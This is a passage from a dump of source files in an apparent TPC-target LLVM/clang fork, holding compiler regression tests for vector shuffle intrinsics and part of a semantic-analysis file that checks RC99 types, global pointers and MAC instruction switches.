storeCoord[4]+=step;\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n}\n\n// CHECK: add.i32 b00111 [[NDX1:%I[0-9]+]], %S1, %I{{[0-9]+}}\n// CHECK: add.i32 b11000 %I{{[0-9]+}}, %S1, [[NDX1]]\n" }, { "alpha_fraction": 0.41480544209480286, "alphanum_fraction": 0.5297029614448547, "avg_line_length": 34.60245895385742, "blob_id": "1e113c652ff86d64c6e41a5ce919bae93763607f", "content_id": "949fdcb81ad2b10d93245362a363a6c52f85881e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8686, "license_type": "permissive", "max_line_length": 132, "num_lines": 244, "path": "/clang/test/RC99/Intrinsics/v_shuffle-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu goya %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\n\n\nvoid main(int x0, int x1, int x2, int dest0) {\n {\n float64 __local *ptr_x0 = (float64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n \n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n float64 __local *ptr_x0 = (float64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n float64 __local *ptr_x0 = (float64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n short128 __local *ptr_x0 = (short128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n \n short128 __local *res0 = (short128 __local *)dest0;\n short128 temp_res0 = 0;\n temp_res0 = v_i16_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n short128 __local *ptr_x0 = (short128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n short128 __local *res0 = (short128 __local *)dest0;\n short128 temp_res0 = 0;\n temp_res0 = v_i16_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n short128 __local *ptr_x0 = (short128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n short128 __local *res0 = (short128 __local *)dest0;\n short128 temp_res0 = 0;\n temp_res0 = v_i16_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n int64 __local *ptr_x0 = (int64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n int64 __local *res0 = (int64 __local *)dest0;\n int64 temp_res0 = 0;\n temp_res0 = v_i32_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n int64 __local *ptr_x0 = (int64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n int64 __local *res0 = (int64 __local *)dest0;\n int64 temp_res0 = 0;\n temp_res0 = v_i32_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n int64 __local *ptr_x0 = (int64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n int64 __local *res0 = (int64 __local *)dest0;\n int64 temp_res0 = 0;\n temp_res0 = v_i32_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n char256 __local *ptr_x0 = (char256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n char256 __local *res0 = (char256 __local *)dest0;\n char256 temp_res0 = 0;\n temp_res0 = v_i8_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n char256 __local *ptr_x0 = (char256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n char256 __local *res0 = (char256 __local *)dest0;\n char256 temp_res0 = 0;\n temp_res0 = v_i8_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n char256 __local *ptr_x0 = (char256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n char256 __local *res0 = (char256 __local *)dest0;\n char256 temp_res0 = 0;\n temp_res0 = v_i8_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.i8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n ushort128 __local *ptr_x0 = (ushort128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n ushort128 __local *res0 = (ushort128 __local *)dest0;\n ushort128 temp_res0 = 0;\n temp_res0 = v_u16_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n ushort128 __local *ptr_x0 = (ushort128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n ushort128 __local *res0 = (ushort128 __local *)dest0;\n ushort128 temp_res0 = 0;\n temp_res0 = v_u16_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n ushort128 __local *ptr_x0 = (ushort128 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n ushort128 __local *res0 = (ushort128 __local *)dest0;\n ushort128 temp_res0 = 0;\n temp_res0 = v_u16_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n uint64 __local *res0 = (uint64 __local *)dest0;\n uint64 temp_res0 = 0;\n temp_res0 = v_u32_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n uint64 __local *res0 = (uint64 __local *)dest0;\n uint64 temp_res0 = 0;\n temp_res0 = v_u32_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n uint64 __local *res0 = (uint64 __local *)dest0;\n uint64 temp_res0 = 0;\n temp_res0 = v_u32_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n////////\n {\n uchar256 __local *ptr_x0 = (uchar256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n uchar256 __local *res0 = (uchar256 __local *)dest0;\n uchar256 temp_res0 = 0;\n temp_res0 = v_u8_shuffle_v_v(*ptr_x0, *ptr_x1);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}\n }\n {\n uchar256 __local *ptr_x0 = (uchar256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n\n uchar256 __local *res0 = (uchar256 __local *)dest0;\n uchar256 temp_res0 = 0;\n temp_res0 = v_u8_shuffle_v_v_b(*ptr_x0, *ptr_x1, temp_res0, x2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n unsigned a = 1;\n uchar256 __local *ptr_x0 = (uchar256 __local *)x0;\n uchar256 __local *ptr_x1 = (uchar256 __local *)x1;\n bool256 pred2;\n pred2 = bv_mov_b(1);\n\n uchar256 __local *res0 = (uchar256 __local *)dest0;\n uchar256 temp_res0 = 0;\n temp_res0 = v_u8_shuffle_v_v_vb(*ptr_x0, *ptr_x1, temp_res0, pred2, 0);\n *res0 = temp_res0;\n //CHECK-ASM-DAG: shuffle.u8 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n }\n}" }, { "alpha_fraction": 0.6377812027931213, "alphanum_fraction": 0.6464706659317017, "avg_line_length": 31.800390243530273, "blob_id": "92ce877c563774514fd8e2396dfab981ee150ee1", "content_id": "cd9de5e582eb24976fe8ca2fdece12ca07188a49", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 67208, "license_type": "permissive", "max_line_length": 125, "num_lines": 2049, "path": "/clang/lib/Sema/SemaRC99.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- SemaRC99.cpp - Semantic Analysis for Declarations ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements semantic analysis for declarations.\n//\n//===----------------------------------------------------------------------===//\n#include \"clang/AST/ASTConsumer.h\"\n#include \"clang/AST/ASTContext.h\"\n#include \"clang/AST/Decl.h\"\n#include \"clang/AST/DeclCXX.h\"\n#include \"clang/AST/DeclLookups.h\"\n#include \"clang/AST/Expr.h\"\n#include \"clang/AST/ExprCXX.h\"\n#include \"clang/AST/RecursiveASTVisitor.h\"\n#include \"clang/Basic/TargetBuiltins.h\"\n#include \"clang/Lex/Lexer.h\"\n#include \"clang/Lex/Preprocessor.h\"\n#include \"clang/Parse/Parser.h\"\n#include \"clang/Sema/Sema.h\"\n#include \"clang/Sema/SemaInternal.h\"\n\n#include \"../lib/Target/TPC/MCTargetDesc/InstructionDB.h\"\n#include \"llvm/ADT/APInt.h\"\n\n#include <map>\n#include <sstream>\n\nusing namespace clang;\nusing namespace sema;\nusing llvm::TPCII::OpType;\n\n\nstatic int getOptypeValue(QualType Ty) {\n BuiltinType::Kind kind;\n if (auto BT = Ty->getAs<BuiltinType>()) {\n kind = BT->getKind();\n }\n else if (auto VT = Ty->getAs<clang::VectorType>()) {\n //bool256 processing\n if (32 == VT->getNumElements())\n kind = BuiltinType::Bool;\n else\n kind = VT->getElementType()->getAs<BuiltinType>()->getKind();\n }\n else\n llvm_unreachable(\"Unexpected type\");\n\n //V32c\n switch (kind) {\n case BuiltinType::Float: return OpType::FP32;\n case BuiltinType::BFloat16: return OpType::BF16;\n case BuiltinType::Float8_152: return OpType::FP8_152;\n case BuiltinType::Float8_143: return OpType::FP8_143;\n case BuiltinType::Half: return OpType::FP16;\n case BuiltinType::Char_S: return OpType::INT8;\n case BuiltinType::Short: return OpType::INT16;\n case BuiltinType::Int: return OpType::INT32;\n case BuiltinType::UChar: return OpType::UINT8;\n case BuiltinType::UShort: return OpType::UINT16;\n case BuiltinType::UInt: return OpType::UINT32;\n case BuiltinType::Bool: return OpType::BOOL;\n default:\n llvm_unreachable(\"Unexpected type\");\n }\n}\n\nstatic bool isPrintFWithValue(unsigned BI) {\n switch (BI) {\n case TPC::BIprintf_i:\n case TPC::BIprintf_ui:\n case TPC::BIprintf_s:\n case TPC::BIprintf_us:\n case TPC::BIprintf_c:\n case TPC::BIprintf_uc:\n case TPC::BIprintf_f:\n case TPC::BIprintf_bf:\n case TPC::BIprintf_h:\n case TPC::BIprintf_h8:\n case TPC::BIprintf_f8:\n return true;\n default:\n return false;\n }\n}\n\n\n/// Checks if the given type is valid TPC vector type.\n///\n/// \\param T Type to investigate.\n/// \\param InVectMem If set, the function checks if the gived type is valid\n/// for objects allocated in vector memory/Vx registers.\n///\nbool isTpcVectorType(QualType T, bool InVectMem) {\n T = T.getCanonicalType();\n if (auto VT = dyn_cast<VectorType>(T.getTypePtr()))\n if (const BuiltinType *BT = VT->getElementType()->getAs<BuiltinType>()) {\n if (VT->getNumElements() == 256 &&\n (BT->getKind() == BuiltinType::Kind::SChar ||\n BT->getKind() == BuiltinType::Kind::UChar ||\n BT->getKind() == BuiltinType::Kind::Char_S ||\n BT->getKind() == BuiltinType::Kind::Char_U ||\n BT->getKind() == BuiltinType::Kind::Short ||\n BT->getKind() == BuiltinType::Kind::UShort ||\n BT->getKind() == BuiltinType::Kind::BFloat16 ||\n BT->getKind() == BuiltinType::Kind::Float8_152 ||\n BT->getKind() == BuiltinType::Kind::Float8_143 ||\n BT->getKind() == BuiltinType::Kind::Int ||\n BT->getKind() == BuiltinType::Kind::UInt))\n return true;\n if (VT->getNumElements() == 128 &&\n (BT->getKind() == BuiltinType::Kind::Short ||\n BT->getKind() == BuiltinType::Kind::UShort ||\n BT->getKind() == BuiltinType::Kind::Int ||\n BT->getKind() == BuiltinType::Kind::UInt ||\n BT->getKind() == BuiltinType::Kind::BFloat16 ||\n BT->getKind() == BuiltinType::Kind::Half))\n return true;\n if (VT->getNumElements() == 64 &&\n (BT->getKind() == BuiltinType::Kind::Int ||\n BT->getKind() == BuiltinType::Kind::UInt ||\n BT->getKind() == BuiltinType::Kind::Float))\n return true;\n if (VT->getNumElements() == 32 &&\n (BT->getKind() == BuiltinType::Kind::UChar ||\n BT->getKind() == BuiltinType::Kind::Char_U))\n return true;\n if (VT->getNumElements() == 16 &&\n (BT->getKind() == BuiltinType::Kind::UChar ||\n BT->getKind() == BuiltinType::Kind::Char_U))\n return true;\n if (VT->getNumElements() == 8 &&\n (BT->getKind() == BuiltinType::Kind::UChar ||\n BT->getKind() == BuiltinType::Kind::Char_U))\n return true;\n if (VT->getNumElements() == 5 && !InVectMem &&\n BT->getKind() == BuiltinType::Kind::Int)\n return true;\n }\n\n return false;\n}\n\n\nbool clang::isInTPCVectorAddressSpace(QualType T) {\n // Only kosher vector types may be allocated in vector storage.\n if (isTpcVectorType(T, true))\n return true;\n\n // All other vector types (int5) are allocated in scalar storage.\n if (T->isVectorType())\n return false;\n\n if (T->isArrayType())\n return isInTPCVectorAddressSpace(T->getAsArrayTypeUnsafe()->getElementType());\n\n if (T->isRecordType()) {\n auto D = cast<RecordDecl>(T->getAsTagDecl());\n for (auto *Field : D->fields()) {\n bool IsVector = false;\n bool IsScalar = false;\n QualType FT = Field->getType();\n bool FieldIsInVectorMem = isInTPCVectorAddressSpace(FT);\n if (FieldIsInVectorMem) {\n assert(!IsScalar);\n IsVector = true;\n } else {\n assert(!IsVector);\n IsScalar = true;\n }\n return IsVector;\n }\n }\n\n return false;\n}\n\nstatic bool isBuiltinShortType(const BuiltinType *BT) {\n switch (BT->getKind()) {\n case BuiltinType::Char_U:\n case BuiltinType::UChar:\n case BuiltinType::SChar:\n case BuiltinType::WChar_U:\n case BuiltinType::WChar_S:\n case BuiltinType::Char8:\n case BuiltinType::Char16:\n case BuiltinType::Short:\n case BuiltinType::UShort:\n case BuiltinType::Half:\n case BuiltinType::BFloat16:\n case BuiltinType::Float8_152:\n case BuiltinType::Float8_143:\n return true;\n default:\n return false;\n }\n}\n\nenum AlignmentStatus {\n NoShort,\n OneShort,\n AlignmentConflict\n};\n\nstatic AlignmentStatus containsShortValue(QualType Ty) {\n Ty = Ty->getCanonicalTypeUnqualified();\n if (const auto *Record = dyn_cast<RecordType>(Ty)) {\n if (const auto *RDecl = dyn_cast<RecordDecl>(Record->getDecl())) {\n AlignmentStatus Num = NoShort;\n unsigned NumFields = 0;\n for (const auto &Field : RDecl->fields()) {\n if (++NumFields > 1) {\n if (Num != NoShort && RDecl->getTagKind() != TTK_Union)\n return AlignmentConflict;\n }\n QualType FType = Field->getType();\n switch (containsShortValue(FType)) {\n case NoShort:\n break;\n case OneShort:\n if (Num == NoShort)\n Num = OneShort;\n else\n Num = AlignmentConflict;\n break;\n case AlignmentConflict:\n Num = AlignmentConflict;\n break;\n }\n if (Num == AlignmentConflict)\n break;\n }\n if (Num == AlignmentConflict && RDecl->getTagKind() == TTK_Union)\n return OneShort;\n return Num;\n }\n } else if (Ty->isArrayType()) {\n const auto *AT = cast<ConstantArrayType>(Ty);\n QualType ET = AT->getElementType();\n switch (containsShortValue(ET)) {\n case NoShort: return NoShort;\n case AlignmentConflict: return AlignmentConflict;\n case OneShort:\n return AT->getSize().getZExtValue() > 1 ? AlignmentConflict : OneShort;\n }\n } else if (const auto *ET = dyn_cast<EnumType>(Ty)) {\n const EnumDecl *ED = ET->getDecl();\n return containsShortValue(ED->getIntegerType());\n } else if (const auto *BT = dyn_cast<BuiltinType>(Ty)) {\n return isBuiltinShortType(BT) ? OneShort : NoShort;\n }\n return NoShort;\n}\n\nstatic bool isIndexType(QualType Ty) {\n Ty = Ty.getCanonicalType();\n if (Ty->isVectorType()) {\n auto VTy = Ty->getAs<VectorType>();\n if (VTy->getNumElements() != 5)\n return false;\n auto ElTy = VTy->getElementType()->getAs<BuiltinType>();\n return ElTy->getKind() == BuiltinType::Kind::Int;\n }\n return false;\n}\n\n\nnamespace {\n\nclass RC99Scanner : public RecursiveASTVisitor<RC99Scanner> {\n using BaseType = RecursiveASTVisitor<RC99Scanner>;\n using TpcType = ASTContext::TpcType;\n\n Sema &SemaRef;\n TargetOptions &TOptions;\n std::map <Expr *, Expr *> MacCall;\n std::set<ArraySubscriptExpr *> SubscrInPrintF;\n unsigned Int5Dim;\n bool AllowInt5Access = false;\n bool NeedCheckInt5;\n\n class Int5CheckResetter {\n RC99Scanner &Scanner;\n bool OldAllowInt5Access;\n unsigned OldInt5Dim;\n public:\n Int5CheckResetter(RC99Scanner &Scanner)\n : Scanner(Scanner),\n OldAllowInt5Access(Scanner.AllowInt5Access),\n OldInt5Dim(Scanner.Int5Dim) {\n Scanner.AllowInt5Access = false;\n }\n ~Int5CheckResetter() { Scanner.AllowInt5Access = OldAllowInt5Access; }\n bool getOldAllowInt5Access() const { return OldAllowInt5Access; }\n unsigned getOldInt5Dim() const { return OldInt5Dim; }\n };\n\n ASTContext &getContext() const { return SemaRef.getASTContext(); }\n\n bool isBoolX(QualType Ty) const {\n QualType CTy = Ty.getCanonicalType();\n return CTy == SemaRef.getASTContext().getTpcType(TpcType::bool256) ||\n CTy == SemaRef.getASTContext().getTpcType(TpcType::bool128) ||\n CTy == SemaRef.getASTContext().getTpcType(TpcType::bool64);\n }\n\n bool checkNonZeroElement(QualType TargetType,Expr *E, bool MultiElts) {\n TargetType = TargetType.getCanonicalType();\n if (auto ILE = dyn_cast<InitListExpr>(E)) {\n TargetType = ILE->getType();\n if (ILE->getNumInits() == 1) {\n return checkNonZeroElement(TargetType, ILE->getInit(0), false);\n } else {\n for (Expr *El : ILE->inits())\n if (checkNonZeroElement(TargetType, El, true))\n return true;\n }\n return false;\n }\n\n // Check only vector types located in vector memory. Skip int5, as\n // there is no problem in initializing it by elements.\n if (!isTpcVectorType(TargetType, true))\n return false;\n\n // Skip implicit casts. They may be found if integer constant is used to\n // initialize value of real type.\n while (auto ICE = dyn_cast<ImplicitCastExpr>(E))\n E = ICE->getSubExpr();\n\n if (!E->isIntegerConstantExpr(SemaRef.getASTContext())) {\n SemaRef.Diag(E->getBeginLoc(), diag::err_partial_initlist);\n if (!MultiElts)\n SemaRef.Diag(E->getBeginLoc(), diag::note_maybe_broadcast);\n return true;\n }\n\n llvm::APSInt Val = E->EvaluateKnownConstInt(SemaRef.getASTContext());\n if (Val.getBoolValue()) {\n SemaRef.Diag(E->getBeginLoc(), diag::err_partial_initlist);\n if (!MultiElts)\n SemaRef.Diag(E->getBeginLoc(), diag::note_maybe_broadcast);\n return true;\n }\n\n return false;\n }\n\n // If argument has type of global pointer, issue error message.\n //\n bool checkNotGlobalPtr(const Expr *Op, SourceLocation Loc) const {\n QualType Ty = Op->getType();\n if (Ty->isPointerType()) {\n QualType PointeeTy = Ty->getAs<PointerType>()->getPointeeType();\n if (PointeeTy.getAddressSpace() == LangAS::rc99_global) {\n SemaRef.Diag(Loc, diag::err_unsupported_op_on_gptr);\n return false;\n }\n }\n return true;\n }\n\n bool isGloabLPtr(QualType Ty) {\n if (!Ty->isPointerType())\n return false;\n QualType PointeeTy = Ty->getAs<PointerType>()->getPointeeType();\n return PointeeTy.getAddressSpace() == LangAS::rc99_global;\n }\n\n bool checkGlobalPtrType(QualType Ty, SourceLocation Loc) {\n if (Ty->isPointerType()) {\n unsigned Indirection = 0;\n while (true) {\n QualType PointeeTy = Ty->getAs<PointerType>()->getPointeeType();\n if (PointeeTy.getAddressSpace() == LangAS::rc99_global) {\n if (Indirection) {\n SemaRef.Diag(Loc, diag::err_pointer_to_gptr);\n return false;\n }\n QualType ValueTy = PointeeTy.getUnqualifiedType();\n if (!ValueTy->isIntegerType() && !ValueTy->isFloatingType() &&\n !(ValueTy->isVectorType() && isInTPCVectorAddressSpace(ValueTy)) &&\n !ValueTy->isVoidType()) {\n SemaRef.Diag(Loc, diag::err_unsupported_gptr);\n return false;\n }\n }\n if (!PointeeTy->isPointerType())\n return checkGlobalPtrType(PointeeTy, Loc);\n Ty = PointeeTy;\n Indirection++;\n }\n }\n else if (Ty->isArrayType()) {\n const Type *ElementType = Ty->getArrayElementTypeNoTypeQual();\n if (ElementType->isPointerType()) {\n QualType PointeeTy = ElementType->getAs<PointerType>()->getPointeeType();\n if (PointeeTy.getAddressSpace() == LangAS::rc99_global) {\n SemaRef.Diag(Loc, diag::err_array_of_gptr);\n return false;\n }\n }\n return checkGlobalPtrType(QualType(ElementType, 0), Loc);\n }\n else if (Ty->isStructureOrClassType() || Ty->isUnionType()) {\n auto RecTy = Ty->getAs<RecordType>();\n for (auto Field : RecTy->getDecl()->fields()) {\n QualType FieldTy = Field->getType();\n if (FieldTy->isPointerType()) {\n QualType PointeeTy = FieldTy->getAs<PointerType>()->getPointeeType();\n if (PointeeTy.getAddressSpace() == LangAS::rc99_global) {\n SemaRef.Diag(Field->getLocation(), diag::err_field_is_gptr);\n return false;\n }\n }\n if (!checkGlobalPtrType(FieldTy, Loc))\n return false;\n }\n }\n return true;\n }\n\n bool checkMulValidity(const BinaryOperator *E) {\n QualType Ty = E->getType();\n assert(E->getOpcode() == BinaryOperatorKind::BO_Mul ||\n E->getOpcode() == BinaryOperatorKind::BO_MulAssign);\n if (auto *VTy = Ty.getCanonicalType()->getAs<VectorType>()) {\n QualType EltTy = VTy->getElementType();\n if (EltTy->isIntegerType()) {\n switch (EltTy.getCanonicalType()->getAs<BuiltinType>()->getKind()) {\n case BuiltinType::Int:\n case BuiltinType::UInt:\n break;\n default:\n SemaRef.Diag(E->getExprLoc(), diag::err_unsupported_mul)\n << E->getSourceRange();\n return false;\n }\n }\n }\n return true;\n }\n\n\n bool getMacSwitchValue(unsigned BuiltinId, CallExpr *E, unsigned &Val) {\n unsigned SwArgNo;\n switch (BuiltinId) {\n case TPC::BIs_f32_mac:\n case TPC::BIs_i8_mac:\n case TPC::BIs_u8_mac:\n case TPC::BIs_i16_mac:\n case TPC::BIs_u16_mac:\n case TPC::BIs_bf16_mac:\n case TPC::BIs_bf16_mac_acc32:\n case TPC::BIv_f32_mac_b:\n case TPC::BIv_f32_mac_vb:\n case TPC::BIv_bf16_mac_b:\n case TPC::BIv_bf16_mac_vb:\n case TPC::BIv_i8_mac_b:\n case TPC::BIv_i8_mac_vb:\n case TPC::BIv_u8_mac_b:\n case TPC::BIv_u8_mac_vb:\n case TPC::BIv_i16_mac_b:\n case TPC::BIv_i16_mac_vb:\n case TPC::BIv_u16_mac_b:\n case TPC::BIv_u16_mac_vb:\n case TPC::BIv_bf16_mac_acc32_b:\n case TPC::BIv_bf16_mac_acc32_vb:\n {\n SwArgNo = 3;\n break;\n }\n\n default:\n return false;\n }\n ASTContext &Ctx = SemaRef.getASTContext();\n auto *D = cast<FunctionDecl>(E->getCallee()->getReferencedDeclOfCallee());\n const Expr *SwArg = E->getArg(SwArgNo);\n Expr::EvalResult ResVal;\n if (!SwArg->EvaluateAsRValue(ResVal, Ctx)) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_constant_integer_arg_type)\n << D->getDeclName() << SwArg->getSourceRange();\n return false;\n }\n Val = ResVal.Val.getInt().getLimitedValue();\n return true;\n }\n\n void processMacMaddSwitches(unsigned SwValue, unsigned BuiltinId, CallExpr *E, unsigned SwitchArgNo) {\n const unsigned ValidSwitches = llvm::TPCII::SW_SAT |\n llvm::TPCII::SW_NEG |\n llvm::TPCII::SW_ACC_FP32 /*also SW_ACC_I16*/ |\n llvm::TPCII::SW_ACC_I32 |\n llvm::TPCII::SW_X2_ARITHMETIC |\n llvm::TPCII::SW_ZP |\n llvm::TPCII::SW_NEG_ZP;\n unsigned NewSwValue = SwValue;\n const Expr *SwArg = E->getArg(SwitchArgNo);\n QualType ArgType = E->getArg(0)->getType();\n\n // Check switch validity.\n if (SwValue & llvm::TPCII::SW_SAT) {\n // Must be absent in the case of float types.\n if (ArgType->isFloatingType()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_SAT\";\n return;\n }\n }\n if ((SwValue & llvm::TPCII::SW_ACC_FP32) && ArgType->isFloatingType()) {\n // ACC_FP32 is same as ACC_I16.\n if (ArgType->getAs<BuiltinType>()->getKind() != BuiltinType::BFloat16) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_ACC_I16\";\n return;\n }\n }\n if (SwValue & llvm::TPCII::SW_ACC_I16 && !ArgType->isFloatingType()) {\n // ACC_I16 is same as ACC_FP32\n // Allowed only for 8-bit types.\n if (!ArgType->isCharType() && !ArgType->isChar8Type()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_ACC_I16\";\n return;\n }\n }\n if (SwValue & llvm::TPCII::SW_ACC_I32) {\n // Allowed only for unsigned 8 and 16-bit types.\n if (!ArgType->isIntegerType() || !ArgType->isUnsignedIntegerType()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_ACC_I32\";\n return;\n }\n }\n\n if (SwValue & 